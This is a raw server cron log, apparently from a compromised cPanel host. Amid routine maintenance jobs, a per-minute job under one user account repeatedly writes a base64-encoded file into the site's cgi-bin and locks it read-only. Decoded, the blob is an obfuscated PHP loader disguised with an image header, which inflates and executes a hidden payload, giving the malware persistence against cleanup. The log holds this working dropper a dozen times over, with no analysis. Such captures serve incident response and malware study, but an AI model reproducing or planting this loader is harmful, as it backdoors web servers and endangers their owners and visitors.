Nov 13 19:42:01 server CROND[16109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:43:01 server CROND[16746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:44:01 server CROND[17543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:45:01 server CROND[18494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:45:01 server CROND[18495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:45:01 server CROND[18496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:46:01 server CROND[19415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:47:01 server CROND[20133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:48:01 server CROND[20355]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:49:01 server CROND[21165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:50:01 server CROND[22128]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 19:50:01 server CROND[22130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:50:01 server CROND[22129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:50:01 server CROND[22131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 19:50:01 server CROND[22135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:51:01 server CROND[23052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:52:01 server CROND[23871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:53:02 server CROND[24743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:54:01 server CROND[25590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:55:01 server CROND[26612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:55:01 server CROND[26613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 